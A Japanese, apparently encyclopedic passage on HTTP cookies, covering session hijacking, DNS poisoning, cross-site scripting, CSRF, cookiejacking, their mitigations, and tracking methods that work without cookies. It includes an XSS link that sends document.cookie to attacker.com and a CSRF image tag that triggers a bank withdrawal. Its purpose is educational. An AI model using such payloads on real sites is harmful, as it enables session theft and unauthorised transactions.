多くの広告事業者は、ブラウザ内の一般的なクッキーによって行動ターゲティング広告を停止するオプトアウトオプションを提供しています。[ 90 ] [ 91 ]しかし、これは、サードパーティクッキーをブロックするブラウザの影響を回避するために人気が高まっているファーストパーティトラッキングなど、多くの形式のトラッキングに対しては効果がないことがよくあります。[ 92 ] [ 93 ]さらに、このような設定がトラッキングの受け入れよりも難しい場合、eプライバシー指令の条件に違反したままになります。[ 79 ]
ほとんどのウェブサイトは、ユーザーセッションを識別する唯一の方法としてCookieを使用しています。これは、他のウェブユーザー識別方法には制限や脆弱性があるためです。ウェブサイトがセッション識別子としてCookieを使用している場合、攻撃者は被害者のCookieをすべて盗むことで、ユーザーのリクエストを偽装することができます。ウェブサーバーから見ると、攻撃者からのリクエストは被害者のリクエストと同じ認証情報を持っているため、被害者のセッションに代わってリクエストが実行されることになります。
ここでは、ユーザー識別にHTTP Cookieのみを使用しているウェブサイトで発生する、Cookieの盗難やユーザーセッションの乗っ取り（ユーザーCookieを盗まなくても）のさまざまなシナリオを紹介します。
ネットワーク上の通信は、送信者と受信者以外のネットワーク上のコンピュータによって傍受され、読み取られる可能性があります（特に暗号化されていないオープンなWi-Fiの場合）。この通信には、通常の暗号化されていないHTTPセッションで送信されるCookieも含まれます。ネットワーク通信が暗号化されていない場合、攻撃者は中間者攻撃を目的として、HTTP Cookieや会話の全内容など、ネットワーク上の他のユーザーの通信を読み取ることができます。
攻撃者は傍受したクッキーを利用してユーザーになりすまし、被害者の銀行口座から送金するなど、悪意のある行為を行う可能性がある。
この問題は、トランスポート層セキュリティ（HTTPSプロトコル）を使用して接続を暗号化することにより、ユーザーのコンピュータとサーバー間の通信を保護することで解決できます。サーバーはSecure、Cookieを設定する際にフラグを指定することで、ブラウザがTLS接続などの暗号化されたチャネルを介してのみCookieを送信するようにすることができます。[ 45 ]
攻撃者が偽の DNS エントリをDNS サーバーにキャッシュさせることができれば( DNS キャッシュ ポイズニングと呼ばれる)、攻撃者はユーザーの Cookie にアクセスできるようになる可能性があります。たとえば、攻撃者は DNS キャッシュ ポイズニングを使用して、攻撃者のサーバーのIP アドレスf12345.www.example.comを指す偽の DNS エントリを作成できます。次に、攻撃者は自身のサーバーから画像 URL (たとえば、) を送信できます。攻撃者のメッセージを読む被害者は、からこの画像をダウンロードします。はのサブドメインであるため、被害者のブラウザはに関連するすべての Cookie を攻撃者のサーバーに送信します。http://f12345.www.example.com/img_4_cookie.jpgf12345.www.example.comf12345.www.example.comwww.example.comexample.com
攻撃者がこれを達成できた場合、通常はインターネットサービスプロバイダがDNSサーバーを適切に保護していないことが原因です。ただし、ターゲットのWebサイトがセキュアなCookieを使用している場合、この攻撃の深刻度は軽減されます。この場合、セキュアなCookieは暗号化された接続を介してのみ送信できるため、攻撃者は認証局からターゲットのWebサイトのTLS証明書を取得するという追加の課題に直面します[ 94 ]。一致するTLS証明書がない場合、被害者のブラウザは攻撃者の無効な証明書に関する警告メッセージを表示し、ユーザーが攻撃者の不正なWebサイトにアクセスして攻撃者にCookieを送信するのを阻止するのに役立ちます。
クッキーは、クロスサイトスクリプティングと呼ばれる手法によっても盗まれる可能性があります。これは、攻撃者が、ユーザーがフィルタリングされていないHTMLやJavaScriptコンテンツを投稿できるウェブサイトの脆弱性を悪用することで発生します。攻撃者は悪意のあるHTMLやJavaScriptコードを投稿することで、被害者のウェブブラウザに被害者のクッキーを攻撃者が管理するウェブサイトに送信させることができます。
例えば、攻撃者はwww.example.com次のようなリンクを含むメッセージを投稿する可能性があります。
<a href="#" onclick="window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;">ここをクリック！</a>
別のユーザーがこのリンクをクリックすると、ブラウザは属性内のコードを実行しonclick、文字列をdocument.cookie現在のページからアクセス可能なクッキーのリストに置き換えます。その結果、このクッキーのリストがattacker.comサーバーに送信されます。攻撃者の悪意のある投稿がHTTPSウェブサイト上にある場合https://www.example.com、セキュアなクッキーもプレーンテキストでattacker.comに送信されます。
悪意のあるコードを排除するのは、ウェブサイト開発者の責任である。
このような攻撃は、HttpOnlyクッキーを使用することで軽減できます。これらのクッキーはJavaScriptなどのクライアントサイドスクリプト言語からはアクセスできないため、攻撃者はこれらのクッキーを収集することができません。
多くのブラウザの旧バージョンでは、 XMLHttpRequest APIの実装にセキュリティ上の脆弱性がありました。この API では、ページが応答を受け取るプロキシ サーバーを指定できますが、このプロキシ サーバーは同一オリジン ポリシーの対象外です。たとえば、被害者が 上の攻撃者の投稿を読んでいるとしますwww.example.com。被害者のブラウザで攻撃者のスクリプトが実行されます。スクリプトはwww.example.comプロキシ サーバー を指定してへのリクエストを生成しますattacker.com。リクエストは 宛てなのでwww.example.com、すべてのexample.comCookie がリクエストとともに送信されますが、攻撃者のプロキシ サーバーを経由してルーティングされます。そのため、攻撃者は被害者の Cookie を収集できてしまいます。
この攻撃はセキュアなクッキーでは機能しません。なぜなら、セキュアなクッキーはHTTPS接続でのみ送信可能であり、HTTPSプロトコルはエンドツーエンド暗号化（つまり、情報はユーザーのブラウザで暗号化され、宛先サーバーで復号化される）を規定しているからです。この場合、プロキシサーバーはHTTPリクエストの暗号化された生のバイト列しか見ることができません。
例えば、ボブがチャットフォーラムを閲覧していて、別のユーザーであるマロリーがメッセージを投稿したとします。マロリーが、ボブの銀行のウェブサイト上のアクションを参照するHTML画像要素（画像ファイルではなく）を作成したとします。
<img src= "http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" >ボブの銀行が認証情報をクッキーに保存していて、そのクッキーの有効期限が切れていない場合、ボブのブラウザが画像を読み込もうとすると、ボブのクッキーを使って出金フォームが送信され、ボブの承認なしに取引が承認されてしまう。
CookiejackingはInternet Explorerに対する攻撃であり、攻撃者はユーザーをだまして画面上でオブジェクトをドラッグさせることで、ユーザーのセッションCookieを盗むことができます。 [ 95 ] Microsoftは、「必要なユーザー操作のレベル」[ 95 ]と、Cookieを盗むWebサイトにユーザーが既にログインしている必要があることから、この脆弱性のリスクは低いと判断しました。[ 96 ]それにもかかわらず、ある研究者はFacebookの友人150人に対してこの攻撃を試み、ソーシャルエンジニアリングによってそのうち80人のCookieを取得しました。[ 95 ]
プライバシーに関する懸念に加えて、Cookieには技術的な欠点もあります。特に、Cookieは必ずしもユーザーを正確に識別するとは限らず、セキュリティ攻撃に悪用される可能性があり、また、Representational State Transfer ( REST ) ソフトウェアアーキテクチャスタイルと相容れない場合が多いです。[ 97 ] [ 98 ]
コンピュータで複数のブラウザを使用する場合、通常、それぞれにクッキー用の個別の保存領域があります。したがって、クッキーは個人を識別するものではなく、ユーザーアカウント、コンピュータ、およびウェブブラウザの組み合わせを識別するものです。そのため、複数のアカウント、コンピュータ、またはブラウザを使用する人は、複数のクッキーセットを持つことになります。[ 99 ]
同様に、クッキーは、同じユーザーアカウント、コンピューター、ブラウザを共有する複数のユーザーを区別しません。
Cookieを使用して実行できる操作の一部は、他の仕組みを使用しても実行できます。
JSON Web Token（JWT）は、ユーザーの身元情報や認証情報を保存するために使用できる、自己完結型の情報パケットです。これにより、セッションクッキーの代わりにJWTを使用できます。ブラウザによって各HTTPリクエストに自動的に付加されるクッキーとは異なり、JWTはWebアプリケーションによって各HTTPリクエストに明示的に付加する必要があります。
HTTPプロトコルには、基本アクセス認証とダイジェストアクセス認証プロトコルが含まれており、ユーザーが正しいユーザー名とパスワードを入力した場合にのみWebページへのアクセスが許可されます。サーバーがWebページへのアクセスを許可するためにこれらの認証情報を必要とする場合、ブラウザはユーザーにそれらを要求し、取得するとブラウザはそれらを保存し、以降のすべてのページリクエストで送信します。この情報は、ユーザーの追跡に悪用される可能性があります。
URLのクエリ文字列部分が一般的にこの目的に使用されますが、他の部分も使用できます。JavaサーブレットとPHPのセッションメカニズムは、Cookieが有効になっていない場合、どちらもこの方法を使用します。
この方法は、ウェブサーバーがウェブページ内のすべてのリンクに、一意のセッション識別子を含むクエリ文字列を付加するというものです。ユーザーがリンクをクリックすると、ブラウザはクエリ文字列をサーバーに送信し、サーバーはユーザーを識別して状態を維持します。
こうしたクエリ文字列は、サーバーが選択した任意の情報を含み、リクエストごとにサーバーに返送されるという点で、クッキーと非常によく似ています。しかし、いくつかの違いがあります。クエリ文字列はURLの一部であるため、そのURLが後で再利用されると、同じ情報がサーバーに送信され、混乱を招く可能性があります。たとえば、ユーザーの設定がURLのクエリ文字列にエンコードされていて、ユーザーがそのURLを別のユーザーに電子メールで送信した場合、その設定はその別のユーザーにも適用されます。
さらに、同じユーザーが異なるソースから同じページに複数回アクセスした場合、毎回同じクエリ文字列が使用されるとは限りません。例えば、ユーザーが最初にサイト内部のページからアクセスし、次に外部の検索エンジンから同じページにアクセスした場合、クエリ文字列は異なる可能性があります。このような状況でCookieが使用されていた場合、Cookieは同じものになります。
クエリ文字列のその他の欠点は、セキュリティに関するものです。セッションを識別するデータをクエリ文字列に保存すると、セッション固定攻撃、リファラーログ攻撃、その他のセキュリティ脆弱性を悪用される可能性があります。セッション識別子をHTTP Cookieとして転送する方が安全です。
セッション追跡のもう1つの方法は、非表示フィールドを持つWebフォームを使用することです。この手法は、URLクエリ文字列を使用して情報を保持する方法と非常によく似ており、多くの点で同様の利点と欠点があります。実際、フォームがHTTP GETメソッドで処理される場合、この手法はURLクエリ文字列を使用する方法と似ています。GETメソッドはフォームフィールドをクエリ文字列としてURLに追加するからです。しかし、ほとんどのフォームはHTTP POSTで処理されるため、非表示フィールドを含むフォーム情報はHTTPリクエストボディで送信されます。これはURLの一部でも、Cookieの一部でもありません。
このアプローチは、トラッカーの観点から見て2つの利点があります。まず、トラッキング情報をURLではなくHTTPリクエストの本文に配置することで、一般ユーザーには気づかれにくくなります。次に、ユーザーがURLをコピーしても（例えば、ページをブックマークしたり、メールで送信したりする場合）、セッション情報はコピーされません。
現在利用可能なすべてのWebブラウザは、JavaScriptのDOMプロパティ を使用して、かなり大きなデータ量（2～32MB）を保存できます。このデータはセッションクッキーの代わりに使用できます。この手法はJSON /JavaScriptオブジェクトと組み合わせることで、複雑なセッション変数セットをクライアント側に保存できます。window.name
欠点としては、個々のウィンドウやタブを開いたとき、最初はそれぞれが空のwindow.nameプロパティを持っていることです。
ある意味では、これはクッキーよりも安全であると言える。なぜなら、クッキーのようにリクエストのたびに自動的にサーバーにコンテンツが送信されるわけではないため、ネットワーククッキースニッフィング攻撃に対して脆弱ではないからだ。
一部のユーザーは、ページを要求したコンピュータのIPアドレスに基づいて追跡される場合があります。サーバーは、ブラウザを実行しているコンピュータ（またはプロキシが使用されている場合はプロキシ）のIPアドレスを認識しており、理論的にはユーザーのセッションをこのIPアドレスに関連付けることができます。
しかし、IPアドレスは一般的にセッションの追跡やユーザーの特定に信頼できる方法ではありません。オフィスPCや家庭用PCなど、単一ユーザー向けに設計された多くのコンピュータは、ネットワークアドレス変換（NAT）の背後にあります。つまり、複数のPCが同じパブリックIPアドレスを共有することになります。さらに、Torなどの一部のシステムはインターネットの匿名性を維持するように設計されているため、IPアドレスによる追跡は非現実的、不可能、あるいはセキュリティ上のリスクとなります。
ETagはブラウザによってキャッシュされ、同じリソースへの後続のリクエストで返されるため、トラッキングサーバーはブラウザから受信したETagを単純に繰り返すことで、割り当てられたETagが永続的に保持されるようにすることができます（永続的なCookieと同様の仕組みです）。追加のキャッシュヘッダーフィールドを使用することで、ETagデータの保持をさらに強化することも可能です。
ETagは、ブラウザのキャッシュをクリアすることで、一部のブラウザで消去できます。
ブラウザのキャッシュは、個々のユーザーを追跡するために利用できる情報を保存するためにも使用されることがあります。この手法は、ウェブブラウザがキャッシュに最新バージョンのリソースが既に存在すると判断した場合、ウェブサイトからリソースをダウンロードする代わりに、キャッシュに保存されているリソースを使用するという性質を利用しています。
例えば、ウェブサイトは、ユーザーに固有の識別子を設定するコードを含むJavaScriptファイル（例var userId = 3243242;：）を提供することができます。ユーザーが最初にアクセスした後、ユーザーがページにアクセスするたびに、このファイルはサーバーからダウンロードされるのではなく、キャッシュから読み込まれます。そのため、その内容は決して変更されません。
ブラウザフィンガープリントとは、ブラウザのバージョン番号、画面解像度、オペレーティングシステムなど、ブラウザの設定に関する情報を収集し、識別に用いるものです。フィンガープリントは、Cookieが無効になっている場合でも、個々のユーザーやデバイスを完全に、あるいは部分的に識別するために使用できます。
ウェブ分析サービスでは、実際の人間のウェブトラフィックを正確に測定し、さまざまな形式のクリック詐欺を排除するために、基本的なウェブブラウザの設定情報が長年収集されてきました。クライアントサイドスクリプト言語の助けを借りて、はるかに難解なパラメータの収集が可能になります。[ 100 ] [ 101 ]このような情報を単一の文字列に統合したものがデバイスフィンガープリントです。2010年にEFFは、ブラウザフィンガープリンティングから少なくとも18.1ビットのエントロピーが得られることを測定しました。[ 102 ]より新しい技術であるキャンバスフィンガープリンティングは、さらに5.7ビットを追加すると主張しています。
一部のウェブブラウザは、ページが情報をローカルに保存して後で使用できるようにするための永続化メカニズムをサポートしています。
HTML5標準 (ほとんどの最新の Web ブラウザがある程度サポートしています) には、Web ストレージと呼ばれる JavaScript API が含まれており、ローカルストレージとセッション ストレージの 2 種類のストレージが可能です。ローカル ストレージは永続的な Cookieと似た動作をし、セッション ストレージはセッション Cookieと似た動作をしますが、セッション ストレージはセッション Cookie のようにブラウザ セッション全体ではなく、個々のタブ/ウィンドウの有効期間 (ページ セッションとも呼ばれます) に関連付けられています。[ 103 ]
Internet Explorer は、ブラウザの履歴、ブラウザのお気に入り、XML ストア (「ユーザー データ」)、またはディスクに保存された Web ページ内に直接、永続的な情報[ 104 ]をサポートしています。
一部のウェブブラウザプラグインには永続化メカニズムも含まれています。たとえば、Adobe Flashにはローカル共有オブジェクトがあり、Microsoft Silverlightには分離ストレージがあります。[ 105 ]